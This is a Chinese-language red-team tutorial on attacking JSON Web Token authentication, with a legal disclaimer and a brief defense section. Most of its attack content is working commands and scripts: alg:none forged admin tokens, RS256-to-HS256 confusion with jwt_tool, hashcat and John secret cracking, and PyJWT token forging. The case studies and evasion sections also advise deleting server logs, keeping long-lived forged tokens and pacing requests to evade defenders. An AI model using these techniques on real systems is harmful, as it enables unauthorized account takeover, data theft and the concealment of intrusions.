JWT 漏洞全解析:从原理到红队实战(含 SRC 挖掘与护网落地技巧)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
作为护网红队,JWT(JSON Web Token)漏洞是渗透测试中极易被忽视却危害显著的漏洞类型 ------ 它直接关联身份认证与权限控制,一旦存在漏洞,攻击者可伪造任意用户 Token(如管理员)、绕过登录验证、横向渗透内网系统。在 SRC(安全响应中心)中,JWT 漏洞常被评为中高危(甚至严重),且挖掘成本低、验证周期短;在护网行动中,JWT 漏洞更是 "快速拿下后台、获取核心权限" 的关键突破口。本文将从 JWT 的本质原理出发,拆解漏洞类型、挖掘方法、核心工具,结合 SRC 与护网实战案例,阐述红队如何高效利用 JWT 漏洞实现深度渗透。
一、JWT 核心原理:从结构到认证逻辑
在分析漏洞前,必须先理解 JWT 的工作机制 ------ 它是一种 "无状态认证令牌",用于在客户端与服务器间安全传递用户身份信息,核心是 "签名验证" 确保 Token 未被篡改。
1. JWT 的结构:三部分 Base64 编码拼接
JWT 由Header(头部)、Payload(载荷)、Signature(签名) 三部分组成,用.
分隔,格式如下:
Header.Payload.Signature
(1)Header(头部):指定算法与类型
定义 JWT 的类型(typ: "JWT"
)和签名算法(如alg: "HS256"
、alg: "RS256"
),Base64 编码后作为第一部分。
示例(HS256 算法):
json
{
"alg": "HS256", // 哈希算法(HMAC SHA256,对称加密)
"typ": "JWT" // 令牌类型
}
Base64 编码后:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
(2)Payload(载荷):存储用户身份信息
包含 "声明(Claims)",即用户数据(如用户 ID、角色、有效期),Base64 编码后作为第二部分(注意:Base64 编码可逆向,切勿存储敏感信息如密码)。
常见标准声明:
exp
:Token 过期时间(Unix 时间戳);iat
:Token 签发时间;sub
:主题(通常为用户 ID);role
:自定义声明(如用户角色admin
/user
)。
示例:
json
{
"sub": "123456", // 用户ID
"role": "user", // 用户角色(普通用户)
"exp": 1717248000, // 过期时间(2024-06-01)
"iat": 1717161600 // 签发时间(2024-05-31)
}
Base64 编码后:eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ
(3)Signature(签名):确保 Token 未被篡改
服务器用 "密钥" 和 Header 指定的算法对 "Header.Base64 + Payload.Base64" 进行签名,防止 Token 被篡改。签名是 JWT 的 "安全核心",分为两种算法类型:
- 对称算法(如 HS256):服务器与客户端共享同一个 "密钥(Secret)",签名和验证都用该密钥;
- 非对称算法(如 RS256):服务器用 "私钥(Private Key)" 签名,客户端用 "公钥(Public Key)" 验证(公钥可公开,私钥需保密)。
示例(HS256 签名过程):
bash
# 签名公式:HMACSHA256( Base64Encode(Header) + "." + Base64Encode(Payload), Secret )
HMACSHA256( "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ", "my-secret-key" )
签名结果(第三部分):Signature=abc123...xyz
2. JWT 的认证流程
-
用户登录:用户提交账号密码,服务器验证通过后,生成 JWT(含用户角色、有效期)并返回给客户端;
-
客户端存储:客户端(浏览器 / APP)存储 JWT(如 LocalStorage、Cookie);
-
后续请求 :客户端每次请求需在 HTTP 头(如
Authorization: Bearer
)中携带 Token; -
服务器验证
:服务器接收 Token 后,按以下步骤验证:
- 解码 Header,确认签名算法;
- 用对应算法 + 密钥验证 Signature(若签名无效,拒绝请求);
- 检查
exp
字段,确认 Token 未过期; - 从 Payload 中提取用户角色,判断是否有权限访问资源。
二、JWT 漏洞类型与原理:从签名到逻辑缺陷
JWT 漏洞的核心是 "签名验证失效 " 或 "密钥 / 算法被滥用",导致攻击者可伪造 Token、篡改身份信息。以下是红队实战中高频出现的漏洞类型,按危害等级排序:
1. 签名绕过漏洞(无需密钥伪造 Token)
签名是 JWT 的安全基石,若服务器跳过签名验证或支持 "无签名算法",攻击者可直接篡改 Payload,伪造任意用户 Token。
(1)无签名算法(alg: "none")
-
原理 :JWT 支持
alg: "none"
算法(即 "无签名"),若服务器未禁用该算法,攻击者可将 Header 的alg
改为none
,删除 Signature 部分,直接篡改 Payload; -
触发条件 :服务器未严格校验
alg
字段,或未强制要求签名(如仅验证 Header 和 Payload,忽略 Signature); -
示例:
原始 Token(HS256 算法):
Header.Payload.Signature
伪造 Token(无签名):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTcyNDgwMDAsImlhdCI6MTcxNzE2MTYwMH0.
(注意最后一个.保留,Signature 部分为空)。
(2)算法降级攻击(如 RS256→HS256)
- 原理 :非对称算法(如 RS256)中,服务器用私钥签名、公钥验证;若服务器存在逻辑缺陷,允许将
alg
从RS256
改为HS256
,攻击者可使用服务器的 "公钥" 作为 "对称密钥" 伪造签名(HS256 用密钥签名,而 RS256 的公钥可公开获取); - 触发条件 :服务器未校验
alg
与密钥的匹配关系,或公钥可被攻击者获取(如通过/.well-known/jwks.json
接口); - 示例:
- 攻击者获取服务器 RS256 的公钥(如
public.key
); - 将 Header 的
alg
改为HS256
,用公钥作为密钥对篡改后的 Payload 签名; - 服务器接收 Token 后,错误地用 HS256 算法 + 公钥验证签名,导致伪造 Token 通过。
- 攻击者获取服务器 RS256 的公钥(如
2. 密钥泄露 / 弱密钥
密钥是 JWT 签名的核心,若密钥泄露或过于简单,攻击者可直接用密钥伪造任意 Token。
(1)密钥硬编码 / 配置文件泄露
- 原理 :开发人员将 JWT 密钥(如 HS256 的
my-secret-key
)硬编码到代码中,或存储在公开可访问的配置文件(如config.js
、application.properties
)中,攻击者通过文件读取、代码泄露(如 GitHub)获取密钥; - 常见泄露路径:
- 代码托管平台:GitHub 搜索
jwt secret
+ 目标域名,找到硬编码的密钥; - Web 目录:
/config.js
、/application.yml
、/.env
等文件; - 接口响应:错误页面、调试信息中泄露密钥。
- 代码托管平台:GitHub 搜索
(2)弱密钥(可爆破)
- 原理 :HS256 算法的密钥过于简单(如
123456
、password
),攻击者用字典爆破密钥后,可伪造 Token; - 爆破条件 :密钥长度短(≤8 位)、无特殊字符,适合用
hashcat
等工具爆破。
3. Payload 篡改(签名有效但内容可篡改)
若服务器仅验证签名,未校验 Payload 中的关键字段(如role
、exp
),攻击者可在 "已知有效密钥" 的情况下篡改身份信息。
(1)角色篡改(普通用户→管理员)
-
原理 :Payload 中的
role
字段未被服务器二次校验,攻击者用合法密钥将role: "user"
改为role: "admin"
,获取管理员权限; -
示例:
原始 Payload:
{"sub":"123","role":"user","exp":1717248000}
篡改后 Payload:
{"sub":"123","role":"admin","exp":1717248000}
(用合法密钥重新签名)。
(2)有效期篡改(Token 永不过期)
- 原理 :
exp
字段(过期时间)未被服务器严格校验,攻击者将exp
改为极大值(如9999999999
),使 Token 永不过期; - 风险:即使用户注销,攻击者仍可使用该 Token 访问系统。
4. 中危:Token 复用 / 未销毁
- 原理:用户注销或密码修改后,服务器未将旧 Token 加入 "黑名单",攻击者可复用已注销的 Token 访问系统;
- 触发条件 :服务器未实现 Token 吊销机制(如 Redis 黑名单),依赖
exp
字段实现有效期控制。
三、SRC 中快速挖掘 JWT 漏洞:实战流程与技巧
SRC 中 JWT 漏洞的挖掘核心是 "识别 JWT 接口→测试签名 / 密钥→验证权限篡改",需按以下步骤高效落地:
1. 第一步:识别使用 JWT 的资产与接口
JWT 通常用于 "身份认证相关接口",需优先测试以下场景:
- 登录 / 注册接口 :登录成功后返回
Authorization: Bearer
的接口; - 权限控制接口 :如
/api/user/info
(获取用户信息)、/api/admin/*
(管理员接口); - Token 刷新接口 :如
/api/token/refresh
(返回新 JWT)。
识别方法:
-
用 Burp Suite 拦截所有请求,筛选 HTTP 头中包含
Authorization: Bearer
的请求; -
查看响应体,若包含
token
字段(如{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
),判定为 JWT 接口; -
用工具快速解码 JWT,查看 Payload 中的字段(如
role
、sub
、exp
):bash# 用jwt-cli解码(需提前安装) jwt decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...
2. 第二步:按漏洞优先级测试 JWT
(1)优先测试签名绕过(最快验证,1-2 分钟 / 目标)
-
测试无签名算法(alg: "none"):
- 用 Burp 拦截 JWT 请求,复制 Token;
- 解码 Token,修改 Header 的
alg
为none
,删除 Signature 部分(保留最后一个.
); - 将篡改后的 Token 放回请求头,发送请求,观察是否能通过验证(如
role
改为admin
后访问/api/admin
); - 工具辅助:用 Burp 插件 "JWT Editor" 直接修改
alg
为none
,一键生成伪造 Token。
-
测试算法降级(RS256→HS256):
-
若 JWT 算法为 RS256,尝试获取公钥(如访问
/.well-known/jwks.json
,或用JWT_tool
自动获取); -
用J
WT_tool
生成 HS256 伪造 Token:bash# 语法:jwt_tool <Token> -X k -pk public.key -alg HS256 -T "{'role':'admin'}" jwt_tool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... -X k -pk public.key -alg HS256 -T "{'role':'admin'}"
-
发送伪造 Token,若能访问管理员接口,证明存在漏洞。
-
(2)次优先测试密钥泄露 / 弱密钥
-
查找密钥泄露:
-
GitHub 搜索:
repo:target-org/* jwt secret
、"JWT_SECRET" "target.com"
; -
Web 目录扫描:用
Gobuster
爆破常见配置文件路径:bashgobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x js,yml,properties,env -q
-
查看页面源码:搜索
jwt
、secret
、key
等关键词,寻找硬编码的密钥(如const JWT_SECRET = "my-weak-key";
)。
-
-
弱密钥爆破:
-
用
hashcat
爆破 HS256 密钥(需先提取 JWT 的 "Header.Payload" 和 "Signature"):bash# 语法:hashcat -m 16500 -a 0 <JWT_hash> <wordlist> # -m 16500:JWT HS256算法类型;-a 0:字典攻击 hashcat -m 16500 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123..." /usr/share/wordlists/rockyou.txt
-
若爆破成功(如密钥为
123456
),用该密钥伪造管理员 Token。
-
(3)最后测试 Payload 篡改(需已知密钥)
-
测试角色篡改:
-
若已知密钥(如泄露的
my-secret-key
),用PyJWT
生成篡改后的 Token:pythonimport jwt payload = { "sub": "123", "role": "admin", # 篡改角色为管理员 "exp": 9999999999 # 永不过期 } secret = "my-secret-key" # 已知密钥 token = jwt.encode(payload, secret, algorithm="HS256") print(token)
-
用伪造 Token 访问
/api/admin
,若返回管理员数据,证明漏洞存在。
-
3. 第三步:SRC 提交技巧
- 明确漏洞类型:标注 "JWT 无签名绕过""JWT 密钥泄露""JWT 算法降级",避免模糊描述;
- 提供可复现步骤:包含 "获取原始 Token→篡改方法→伪造 Token→验证权限" 的完整流程,附关键命令;
- 证明危害:提供 "普通用户 Token→伪造管理员 Token→访问后台" 的截图,或 "密钥泄露后伪造 Token" 的日志;
- 示例提交模板:
- 漏洞标题:
【高危】http://target.com/api/admin 存在JWT无签名绕过漏洞,可伪造管理员Token
; - 复现步骤:
*- 登录普通用户,获取 Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
;
-
- 修改 Header 的
alg
为none
,删除 Signature,篡改 Payload 的role
为admin
;
- 修改 Header 的
-
- 用伪造 Token 访问
/api/admin
,返回管理员列表;
- 用伪造 Token 访问
- 登录普通用户,获取 Token:
- 证明截图:包含 "原始 Token""伪造 Token""管理员接口响应" 的拼接图。
- 漏洞标题:
四、JWT 漏洞利用工具链:从检测到伪造
红队利用 JWT 漏洞的工具需满足 "快速检测、便捷伪造、支持爆破" 的需求,以下是实战中高频使用的工具:
1. 漏洞检测工具
(1)JWT_tool(全能型 JWT 测试工具)
-
核心用途:检测签名绕过、算法降级、密钥爆破、Payload 篡改,支持生成伪造 Token;
-
安装(Python):
bashgit clone https://github.com/ticarpi/jwt_tool.git cd jwt_tool pip install -r requirements.txt
-
实战命令:
bash# 1. 检测无签名算法(alg: none) python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -X a # -X a:自动检测所有漏洞 # 2. 算法降级攻击(RS256→HS256) python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... -X k -pk public.key -alg HS256 -T "{'role':'admin'}" # 3. 密钥爆破(HS256) python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt # -C:爆破密钥
(2)Burp Suite 插件(JWT Editor + JSON Web Tokens)
- 核心用途:拦截 JWT 请求,可视化修改 Header/Payload,验证签名有效性;
- 安装:Burp "BApp Store" 搜索 "JWT Editor" 和 "JSON Web Tokens",一键安装;
- 实战操作:
- 拦截 JWT 请求,右键选择 "Send to JWT Editor";
- 在 "Header" 标签页修改
alg
为none
,删除 "Signature" 标签页的内容; - 在 "Payload" 标签页修改
role
为admin
,点击 "Sign" 生成伪造 Token; - 发送请求,观察响应是否通过验证。
2. 密钥爆破工具
(1)hashcat(高性能密钥爆破)
-
核心用途:爆破 HS256/HS384/HS512 算法的弱密钥,支持 GPU 加速;
-
实战命令:
bash# 爆破HS256密钥(-m 16500对应JWT HS256) hashcat -m 16500 -a 0 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123..." /usr/share/wordlists/rockyou.txt -O # -O:优化模式,加速爆破
(2)John the Ripper(多算法支持)
-
核心用途:支持 JWT 多种算法的密钥爆破,适合无 GPU 环境;
-
实战命令:
bash# 将JWT转换为John可识别的格式 echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...' > jwt.hash # 爆破密钥 john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.hash
3. Token 生成工具
(1)PyJWT(Python 库,灵活生成 Token)
-
核心用途:已知密钥时,生成自定义 Payload 的 JWT,支持多种算法;
-
安装与实战:
bashpip install pyjwt # 安装
python# 生成HS256算法的管理员Token import jwt from datetime import datetime, timedelta # 自定义Payload(管理员角色,有效期7天) payload = { "sub": "999", # 管理员ID "role": "admin", "exp": datetime.utcnow() + timedelta(days=7) } secret_key = "my-secret-key" # 已知密钥 # 生成Token token = jwt.encode(payload, secret_key, algorithm="HS256") print("伪造的管理员Token:", token)
(2)jwt.io(在线工具,快速验证)
- 核心用途:在线解码 JWT、生成 Token(适合临时测试,不建议处理敏感密钥);
- 使用方法:
- 访问https://jwt.io/;
- 在 "Encoded" 框粘贴 JWT,自动解码 Header 和 Payload;
- 在 "Algorithm" 选择算法(如 HS256),输入密钥,修改 Payload 后点击 "Sign" 生成伪造 Token。
五、实战与护网中 JWT 漏洞的深度利用
JWT 漏洞的价值不仅在于 "伪造 Token",更在于 "结合业务逻辑实现横向渗透、控制核心资产"。以下结合 SRC 与护网案例,阐述红队的进阶利用思路:
1. 案例 1:SRC 中 JWT 无签名绕过,伪造管理员 Token
环境背景
- 目标资产:
http://test-src.com
(某企业 SRC 资产); - 接口场景:登录后返回 JWT,
/api/admin
接口需role: "admin"
才能访问; - 初始权限:普通用户(
role: "user"
)。
渗透步骤
-
识别 JWT 接口:
登录普通用户,Burp 拦截到请求头
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciIsImV4cCI6MTcxNzI0ODAwMCwiaWF0IjoxNzE3MTYxNjAwfQ.abc123...
。 -
测试无签名绕过:
- 用 Burp 的 JWT Editor 修改 Header 的
alg
为none
,删除 Signature 部分,得到伪造 Token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTcyNDgwMDAsImlhdCI6MTcxNzE2MTYwMH0.
; - 将伪造 Token 放入
Authorization
头,访问/api/admin
。
- 用 Burp 的 JWT Editor 修改 Header 的
-
验证漏洞与提交:
- 响应返回管理员列表(含用户手机号、邮箱),证明漏洞存在;
- 截图 "普通用户 Token→伪造 Token→管理员接口响应",按 SRC 模板提交,获 10 分(高危漏洞)。
2. 案例 2:护网中 JWT 密钥泄露,横向渗透内网系统
环境背景
- 护网目标:某企业内网(办公区→DMZ→核心区);
- 初始突破:DMZ 区 Web 服务存在文件读取漏洞,获取
application.yml
,发现 JWT 密钥redteam-2024-secret
(HS256 算法); - 内网拓扑:DMZ 区 Web 服务(
172.16.1.10
)与核心区管理系统(10.0.0.5
)共享 JWT 认证(同一套密钥)。
渗透步骤
-
分析 JWT 结构:
访问 DMZ 区 Web 服务,登录普通用户获取 Token,解码后发现 Payload 包含
sub
(用户 ID)、dept
(部门)、exp
(有效期),且dept: "dmz"
限制仅能访问 DMZ 资源。 -
伪造核心区管理员 Token:
用
PyJWT
生成dept: "core"
(核心区)、role: "admin"
的 Token:pythonimport jwt payload = { "sub": "001", "role": "admin", "dept": "core", # 篡改部门为核心区 "exp": 9999999999 } secret = "redteam-2024-secret" # 泄露的密钥 token = jwt.encode(payload, secret, algorithm="HS256") print(token) # 伪造的核心区管理员Token
-
横向渗透核心区管理系统:
- 通过 DMZ 区跳板机访问核心区管理系统
http://10.0.0.5:8080
; - 将伪造 Token 放入
Authorization
头,访问/api/core/data
(核心区敏感数据接口); - 成功获取企业财务数据(护网关键得分点),并通过该系统的 "服务器监控" 功能执行
ping
命令,探测内网其他资产(10.0.0.0/24
)。
- 通过 DMZ 区跳板机访问核心区管理系统
-
持久化与痕迹清理:
- 生成有效期 1 年的 Token,存储在跳板机
/tmp/jwt_token.txt
; - 删除文件读取记录(
/var/log/nginx/access.log
),避免被蓝队溯源。
- 生成有效期 1 年的 Token,存储在跳板机
3. 护网中 JWT 漏洞的核心利用技巧
(1)结合其他漏洞获取密钥
- 文件读取漏洞 :通过
/etc/passwd
、/application.yml
等文件读取 JWT 密钥; - 代码泄露 :利用 Git 泄露(
/.git
)获取硬编码的密钥; - SQL 注入 :从数据库中读取
jwt_secret
字段(若密钥存储在数据库)。
(2)利用 JWT 实现 "无感知横向"
- 若内网多系统共享同一套 JWT 密钥(如 SSO 单点登录),伪造一个 Token 即可访问所有系统,无需重复突破;
- 示例:获取 DMZ 区 JWT 密钥后,伪造 Token 访问核心区 OA 系统、财务系统,实现 "一次突破,多系统控制"。
(3)规避蓝队检测
- Token 伪装 :模仿正常用户的 Payload 结构(如
sub
、iat
字段与真实用户一致),避免被异常检测识别; - 请求频率控制:用伪造 Token 访问接口时,每秒≤1 次,模拟正常用户操作;
- 清理日志:删除 JWT 伪造相关的请求日志(如 Nginx、Tomcat 日志)。
六、JWT 漏洞的防御与红队绕过技巧
1. 蓝队常见防御措施
- 严格校验签名与算法:
- 禁用
alg: "none"
算法,仅支持指定算法(如 HS256、RS256); - 校验
alg
与密钥的匹配关系(如 RS256 必须用公钥验证,禁止改为 HS256);
- 禁用
- 密钥安全管理:
- 避免硬编码,使用环境变量(如
JWT_SECRET
)或密钥管理服务(如 Vault)存储密钥; - 定期轮换密钥(如每 3 个月),吊销泄露的密钥;
- 避免硬编码,使用环境变量(如
- Payload 校验:
- 二次校验关键字段(如
role
、dept
),不依赖 JWT 的 Payload 直接判定权限; - 严格校验
exp
字段,拒绝过期 Token;
- 二次校验关键字段(如
- Token 吊销机制:
- 实现 Token 黑名单(如用 Redis 存储已注销的 Token),用户注销 / 密码修改后立即加入黑名单。
2. 红队绕过技巧
- 绕过算法限制:
- 寻找旧版本依赖库漏洞(如
pyjwt<2.0
允许alg: "none"
); - 用特殊字符混淆算法名(如
alg: "HS256 "
,空格绕过过滤);
- 寻找旧版本依赖库漏洞(如
- 绕过密钥轮换:
- 寻找未轮换的旧系统(如测试环境、备用系统仍使用旧密钥);
- 复用未过期的旧 Token(若未加入黑名单);
- 突破 Payload 校验:
- 寻找隐藏的高权限字段(如
super_admin: true
,开发未校验); - 篡改
sub
为管理员 ID(如sub: "0"
,通常为超级管理员)。
- 寻找隐藏的高权限字段(如
七、总结
JWT 漏洞的本质是 "认证逻辑缺陷或密钥失控 ",其在红队渗透中的核心价值在于 "低成本获取高权限 "------ 无需复杂的漏洞链,仅通过伪造 Token 即可绕过登录、横向渗透。在 SRC 中,JWT 漏洞的挖掘关键是 "快速识别接口 + 测试签名 / 密钥";在护网中,需结合文件读取、代码泄露等漏洞获取密钥,利用共享密钥实现多系统控制。
红队工程师利用 JWT 漏洞的核心思维是 "业务导向":
- 不盲目测试,优先选择 "登录 / 管理员接口" 等关键场景;
- 结合其他漏洞(如文件读取、SQL 注入)获取密钥,最大化攻击效果;
- 注重隐蔽性,避免伪造 Token 的请求触发蓝队告警。
重要提示 :所有 JWT 漏洞测试必须在合法授权下进行,未经授权的 Token 伪造属于 "非法访问计算机信息系统",需自行承担法律责任。